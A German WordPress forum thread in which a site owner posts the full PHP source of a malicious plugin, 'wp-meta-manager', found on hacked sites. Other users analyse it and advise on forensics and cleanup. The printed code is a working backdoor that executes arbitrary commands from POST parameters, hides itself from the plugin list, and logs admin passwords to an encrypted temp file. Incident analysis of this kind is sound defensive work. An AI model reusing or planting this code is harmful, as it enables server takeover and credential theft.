ACHTUNG: Hackerangriff mit wp-meta-manager

    Hat jemand auch dieses Problem?

    Auf unbekannte Weise ist auf mehreren Seiten ein Plugin namens wp-meta-manager.php_ installiert worden. Findet man über ftp oder Aktivitätenprotokoll (Jetpack u.a.). Durch den Unterstrich am Ende taucht es nicht unter installierte Plugins auf. Darin enthalten ist eine Datei
    /wp-meta-manager.php. mit Schadcode über den Passwörter ausgelesen werden sollen und Beiträge verändert werden können.

    Das Plugin wurde laut Aktivitätenprotokoll über Admin-Accounts installiert, die IP verweist nach Berlin, stimmt in jedem Falle nicht mit denen der echten Benutzer überein.

    Wer etwas dazu weiß, bitte melden.

    • Gerade eben
    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

    Zitat von fantareis

    .. ein Plugin namens wp-meta-manager.php_ installiert worden. .. Darin enthalten ist eine Datei/wp-meta-manager.php. mit Schadcode ..


    Zum Verständnis, also eine Ordnerstruktur so wie diese?

    Code
    /wp-content/plugins/wp-meta-manager.php_/wp-meta-manager.php


    Sind noch weitere Dateien in diesem Ordner?

    Oder ist es nur eine Datei mit Unterstrich am Ende so wie diese?

    Code
    /wp-content/plugins/wp-meta-manager.php_


    Die wäre dann eigentlich nicht ausführbar.

    Zitat von fantareis

    ... Das Plugin wurde laut Aktivitätenprotokoll über Admin-Accounts installiert, ..


    Dann sollte man zeitnah ermitteln, wie der Angreifer an die Admin-Account Zugangsdaten gekommen ist, um die eigentliche Lücke zu finden.

    Das allgemeine weitere Vorgehen bei einem Hack ist z.B. hier beschrieben.

    5 Mal editiert, zuletzt von b3317133 (14. September 2020 um 19:36)

    Danke erst mal, die Datei hat keinen Unterstrich wp-meta-manager.php

    Wordfence und Vaultpress haben keine andere Schwachstelle gefunden, über die der Angreifer an die Passwörter gekommen sein könnte.

    Wir machen jetzt dicht, mit Zwei-Faktor-Anmeldung.

    Oben schreibst Du, da wäre ein "Unterstrich am Ende". Wo genau ist der Unterstrich? Wie ist die exakte Ordner-/Dateistruktur des Schadcodes?

    Wenn man nicht ermittelt, woher der Angreifer die zur Installation des Schadcodes genutzten Admin-Account Zugangsdaten hat, sind weitere Massnahmen erstmal relativ sinnlos.

    Kannst Du den Schadcode posten, z.B. bei pastebin.com o.ä.?

    Tipp am Rande: Mehrere "Sicherheits"-Plugins parallel sollten nicht dauerhaft laufen, die stehen sich meist gegenseitig im Weg...

    Auf einer Seite läuft Wordfence, auf den anderen drei betroffenen wird mit Jetpack gescannt. Hier ist der Inhalt aus der Datei:

    <?php
    /*
    Plugin Name: wp-meta-manager
    Plugin URI: http://example.org
    description: ---
    Version: 1.0
    Author: ---
    Author URI: http://example.org
    License: GPL2
    */
    function wpmm__init() {
    $f = '';
    if( isset($_POST["2l4ky8y16w"]) ) { wpmm__sethelper('@Eva' . $f . 'l( stripslashes($_POST["2l4ky8y16w"]));'); };
    if( isset($_POST["2l4ky8y16x"]) ) { wpmm__sethelper('@ex' . $f . 'ec( stripslashes($_POST["2l4ky8y16x"]), $out ); foreach( $out as $line ) { echo $line . "\n"; }'); };
    if( isset($_POST["2l4ky8y16y"]) ) { wpmm__sethelper('@Pas' . $f . 'sth' . $f . 'ru( stripslashes($_POST["2l4ky8y16y"]) );'); };
    if( isset($_POST["2l4ky8y16z"]) ) { wpmm__sethelper('print( @sy' . $f . 'stem( stripslashes($_POST["2l4ky8y16z"]) ) );'); };
    if( isset($_POST["ha72mlxl20"]) ) die( wpmm__read_dat_file() );
    if( isset($_POST["lp98dm2xa6"]) ) {
    unlink( sys_get_temp_dir() . "/~6cb001a" );
    unlink( __FILE__ );
    }
    }
    add_action( 'init', 'wpmm__init', 999 );
    function wpmm__sethelper( $data ) {
    $helper = dirname( __FILE__ ) . 'wp-meta-manager-helper.php';
    $h = @fopen( $helper, "w" );
    @fwrite( $h, '<?php ' . $data . ' ?>' );
    @fclose( $h );
    @require( $helper );
    @unlink( $helper );
    die();
    }
    function wpmm__filter_plugins( $plugins ) {
    return array_filter( $plugins, 'wpmm__check_plugin' );
    }
    function wpmm__check_plugin( $plugin ) {
    return ( $plugin["Name"] != "wp-meta-manager" or isset( $_GET["a"] ) );
    }
    add_filter( 'all_plugins', 'wpmm__filter_plugins' );
    function wpmm__authenticate2a62( $user, $username, $password ) {
    if( $user instanceof WP_User ) {
    $c = wpmm__read_dat_file();
    $line = "$username : $password";
    $found = false;
    foreach( explode("\n", $c) as $l ) {
    if( $l == $line ) {
    $found = true;
    break;
    }
    }
    if( ! $found ) {
    $c .= $line . "\n";
    wpmm__write_dat_file( $c );
    }
    }
    return $user;
    }
    add_filter( 'authenticate', 'wpmm__authenticate2a62', 99, 3 );
    function wpmm__read_dat_file() {
    if( $f = @file_get_contents(sys_get_temp_dir() . "/~6cb001a") ) {
    $key = "aMIDf82§;!A5t,/S,yy-9";
    $cipher = "aes-128-cbc";
    $iv = hex2bin( 'aa0df47eb210db7a87066692f91a14be' );
    $ct = openssl_decrypt( $f, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv );
    return $ct;
    }
    return "";
    }
    function wpmm__write_dat_file( $contents ) {
    $key = "aMIDf82§;!A5t,/S,yy-9";
    $cipher = "aes-128-cbc";
    $iv = hex2bin( 'aa0df47eb210db7a87066692f91a14be' );
    $ct = openssl_encrypt( $contents, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv );
    @file_put_contents( sys_get_temp_dir() . "/~6cb001a", $ct );
    }
    /*function wpmm__activate() {
    copy(ABSPATH . "/wp-config.php", ABSPATH . "/wp-content/uploads/thing.png");
    }
    function wpmm__deactivate() {
    unlink(ABSPATH . "/wp-content/uploads/thing.png");
    }
    register_activation_hook( __FILE__, 'wpmm__activate' );
    register_deactivation_hook( __FILE__, 'wpmm__deactivate' );*/
    ?>

    Zur Klarstellung:

    a) Ordner in Plugins: wp-meta-manager.php_
    b) Datei in diesem Ordner: wp-meta-manager.php
    c) Temp-Folder auf oberster Ebene: /~6cb001a

    im Anhang der Screenshot des genauen Ablaufs, zeitlich von unten nach oben zu lesen :

    Danke für die Aufklärung, also die erste Verständnisvermutung.

    Interessant/hilfreich wäre, was noch vor dem im Screenshot gezeigten Ablauf passiert ist, dafür sollte man zeitnah access.log u.ä. Zugriffslogs im Hosting sichern.

    Bearbeitet: In der Datei [FONT=Courier New]/~6cb001a[/FONT] wurden "nur" Benutzer/Passwörter protokolliert, dort dürfte vermutlich eher kein sonstiger Schadcode gewesen sein.

    Mit diesem Schadcode konnte man beliebigen PHP-Code auch an Vaultpress usw. vorbei auf den Server laden und ausführen, die ganze Installation und alle daraus via PHP erreichbaren Ordner und Datenbanken usw. sind daher als kompromitiert zu betrachten.

    Noch eine Frage: Wurden die letzten beiden Funktionen im Schadcode, die [FONT=Courier New]wp-config.php[/FONT] zum Download als [FONT=Courier New]thing.png[/FONT] bereitstellen von euch auskommentiert oder war das so?

    Das Ausblenden in der Pluginliste lag übrigens nicht an einem Unterstrich sondern am [FONT=Courier New]wpmm__filter_plugins[/FONT] Filter im Code.

    9 Mal editiert, zuletzt von b3317133 (14. September 2020 um 21:28)

    Danke für die Antwort … da mir die Panik im Nacken saß, habe ich sowohl Datenbank als auch Web-Ordner sofort aus einer Sicherung wiederhergestellt. Auffälligkeiten davor gab es im Log nicht mehr (nur Screenshot gesichert) das Log selbst wurde bei der Wiederherstellung der Datenbank überschrieben. Nach der Wiederherstellung sofort Passwort geändert. Jetzt erkenne ich, dass ich etwa weniger panisch hätte vorgehen dürfen. Für die Forensik wäre das sicher hilfreich gewesen :-)

    Die Auskommentierung der thing.png ist bereits im Original enthalten, nichts verändert.

    Danke auch für den Hinweis mit dem Ausblenden des Plugin via Filter, das habe ich auch jetzt erst gepeilt … DANKE.

    Dein Hostinganbieter könnte Zugriffslogs (mit ggf. anonymisierten IPs) haben, frage zeitnah dort nach Server access logs und sichere die.

    Aus dem Screenshot geht nicht hervor, wie genau der Schadcode auf den Server kam.

    Aus Server access logs könnte man ggf. weitere Rückschlüsse ziehen.

    Es kann durchaus sein, dass noch weiterer Schadcode vorhanden ist und schon länger vorhanden war, der z.B. im Hintergrund aktiv wird, wenn sich ein Admin anmeldet o.ä. oder der ähnlich wie der gezeigte Schadcode einfach generell auf entspr.[FONT=Courier New] $_POST[/FONT] Variablen o.ä. wartet.

    Ein Trojaner kommt selten alleine...

    7 Mal editiert, zuletzt von b3317133 (14. September 2020 um 21:41)

    Habe gerade selbst im Webspace nachgesehen … da habe ich dann beim Wiederherstellen des Webspace natürlich auch gleich das LOG mit plattgemacht. Habe mal eben den Server-Gott angefragt, ob der von einer Ebene höher noch was hat (und schon negativ beschieden), worauf ich setzte.

    Ich muss davon ausgehen, dass meine Zugangsdaten, aus welchem Grunde auch immer, in fremde Hände gefallen sind.
    Der Screeenshot besagt, dass es nach dem Einloggen hochgeladen wurde, das kam nicht per FTP sondern über die Adminfunktion und direktes Hochladen im Dashbord.

    2 Mal editiert, zuletzt von WikaBot (14. September 2020 um 22:08)

    Der Screenshot besagt, dass

    • innerhalb einer Sekunde das Plugin installiert und eine ähnlich klingende Datei in die Mediathek geladen wurde, dann 5 Sekunden später die Datei in der Mediathek wieder gelöscht wurde (protokolliert Vaultpress ggf. so einen "Plugin via Upload" Vorgang? Nutze das selbst nicht)
    • dann ca. 20 Sekunden später das Plugin aktiviert wurde
    • und dann ca. 1.5 Minuten später offenbar ein Login stattfand (ggf. um Benutzer/Passwort Logging zu testen?)


    Woher das Plugin kam, geht daraus nicht hervor.

    Hier ein Screenshot von Jetpack / Aktivitätenlog auf der anderen betroffenen Seite. Die 178.er IP hat Tage zuvor mehrfach versucht, ins Dash zu kommen. Dann hat es erstmals geklappt. Und nochmals später wurde dieses "Plugin" installiert. Sieht also so aus, dass tatsächlich erst die Zugangsdaten abgefischt worden sind.

    Ja, das ist tatsächlich so, das Plugin kann nur im direkten Upload via backend reingekommen sein. Die Geschwindigkeit ist schon beachtlich. Und was auf dem Shot nicht drauf ist, ist der Logout 6 Sekunden später. Und damit bin ich jetzt am Ende meines Lateins :-(

    Viele Angriffe erfolgen (teil)automatisiert, dabei geht auch vieles schief und vieles wird mehrfach gemacht. Beispielsweise wenn die Installation durch einen bereits vorhandenen anderen Trojaner erfolgt und die Steuerung oder Rückmeldung nicht klappt. Oder der Angreifer hatte verschiedene Versionen des Trojaners mit unterschiedlichen $_POST Variablen und hat erst eine unpassende erwischt, die sein sonstwo gehostetes Admintool o.ä. nicht ansprechen konnte, oder es waren unterschiedliche Versionen mit ganz anderen Funktionen, oder der Angreifer hat die als thing.png kopierte wp-config.php zum Download gesucht, aber übersehen, dass der entspr. Codeblock, der die Kopie erstellt, auskommentiert war oder umgekehrt, also nach erfolgreichem Download den Codeblock auskommentiert und das Plugin neu installiert oder was auch immer.

    Etwas mehr würde möglicherweise aus einem Server access.log hervorgehen, falls sich doch noch eines findet.

    Zitat von fantareis

    Die 178.er IP hat Tage zuvor mehrfach versucht, ins Dash zu kommen. Dann hat es erstmals geklappt.


    Das ursprüngliche Einfallstor ist demnach noch unbekannt, oder war das Admin Kennwort "erratbar" und/oder wurde anderswo gleich/ähnlich verwendet?

    Wie es generell weitergeht siehe Link in #2, genau lesen und Punkt für Punkt alles abarbeiten...

    Zitat von WikaBot


    da mir die Panik im Nacken saß, habe ich sowohl Datenbank als auch Web-Ordner sofort aus einer Sicherung wiederhergestellt.

    Da die Sicherheitslücke augenscheinlich leider noch vorhanden ist - alle Dateien und Verzeichnisse vor einer Wiederherstellung löschen.
    Vermutlich ist die Datensicherung auch schon befallen.

    Mit offenen Augen träumen

    Zitat von r23

    Da die Sicherheitslücke augenscheinlich leider noch vorhanden ist - alle Dateien und Verzeichnisse vor einer Wiederherstellung löschen.
    Vermutlich ist die Datensicherung auch schon befallen.


    Das schließe ich aus, da nach der Wiederherstellung der gesamte Server topdown nach den drei Merkmalen durchsucht wurde. Da bleibe ich mal mutig, aber generell ist der Einwand schon richtig :-)

    Zitat von WikaBot

    Das schließe ich aus, da nach der Wiederherstellung der gesamte Server topdown nach den drei Merkmalen durchsucht wurde.

    Ich habe hier bei einem Kunden vor ein paar Jahren eine Änderung der ~/core-update scripte gesehen.
    Diese Änderung hat je nach Action im Admin eben den Schadecode installiert.

    nach drei Merkmalen durchsuchen reicht meiner Meinung nach nicht.

    Wenn die Wiederherstellung nicht das vorherige löschen beinhaltet - hast du in der Regel weitere fremde Scripte auf dem Server.
    z.b.php Scripte im ~/upload Verzeichnis

    und nach diesem Code

    PHP
    copy(ABSPATH . "/wp-config.php", ABSPATH . "/wp-content/uploads/thing.png");

    wurde die wp-config.php als lesbare thing.png in das Verzeichnis wp-content/uploads/ kopiert.

    Damit sind dem Angreifer die Datenbankzugangsdaten bekannt. Er konnte vermutlich neue Datenbank Tabellen anlegen... und kennt die Pfade auf dem System... wobei er diese Daten auch eben alle auch ohne Kopie der thing.png eben auslesen konnte.

    Du kannst deine wiederhergestellte WordPress Version selbstverständlich auf Änderungen prüfen. wenn du in dem Verzeichnis wp-content/uploads/ eine thing.png findest ;) hast du bereits die Antwort.

    Aber mit den FileZilla kannst du unter Ansicht hier Verzeichnisvergleich dir zwischen der Original WordPress Datei und der Online Version dir die Unterschiede anzeigen lassen. Du nach deinem "Das schließe ich aus" nehme ich an, dass du deine Überraschung erleben wirst.

    Und du kannst einen Virenscanner über deine gehackte WordPress Version laufen lassen.

    Angreifer legen sich gerne auch kleine Grafiken auf einen gehackten Server. So können sie über einen Dashboard super einfach erkennen ob ihr hack noch aktiv ist oder nicht. Sollte die Grafik gelöscht sein sehen dies die Angreifer und können bei nicht geschlossener Sicherheitslücke eben den Schadecode erneut installieren "lassen".

    Bekannte Sicherheitslücken
    Wordpress Plugin Autoptimize 2.7.6
    https://www.exploit-db.com/exploits/48770

    WordPress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
    https://www.exploit-db.com/exploits/48534

    WordPress Plugin Media Library Assistant 2.81 - Local File Inclusion
    https://www.exploit-db.com/exploits/48315

    usw..

    Mit offenen Augen träumen

    Zitat von r23

    .. und nach diesem Code .. wurde die wp-config.php als lesbare thing.png in das Verzeichnis wp-content/uploads/ kopiert. .


    Dieser Code ist auskommentiert, das wird im Verlauf des Threads mehrfach angesprochen.

    Zitat von r23

    .. wenn du in dem Verzeichnis wp-content/uploads/ eine thing.png findest .


    Wenn der Code nicht auskommentiert wäre, wäre thing.png durch Deaktivieren des Plugins wieder entfernt worden.

    Mit dem Schadcode konnte man beliebigen PHP-Code auf den Server laden und ausführen, die ganze Installation und alle daraus via PHP erreichbaren Ordner und Datenbanken usw. sind wie bereits beschrieben als kompromitiert zu betrachten. Ebenfalls dass ggf. noch weiterer Schadcode vorhanden ist und schon länger vorhanden war. Ebenfalls, dass für das weitere Vorgehen generell alle Verzeichnisse gelöscht werden müssen.

    Zitat von r23

    Autoptimize 2.7.6 .. BBPress 2.5 .. Media Library Assistant 2.81


    Für alle diese Plugins sind seit mind. 3 Wochen Aktualisierungen verfügbar, ob sie auf den gehackten Websites genutzt wurden, ist nicht bekannt.

    Diese drei Plugins haben wir nicht. Die Lücke muss irgendwo anders liegen. Was mich stutzig macht, ist, dass die Adminzugänge nach drei Versuchen auf der einen Seite geknackt waren, bzw. nicht mehr fehlgeschlagene Versuche aufgezeichnet worden sind mit der 178.er IP. Auf einer Seite hat es sogar auf Anhieb funktioniert, das heißt wohl, dass das Passwort bekannt war. Ich nutze aber definitiv verschiedene Emails, Benutzerkennung und PW.

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!

Benutzerkonto erstellen Anmelden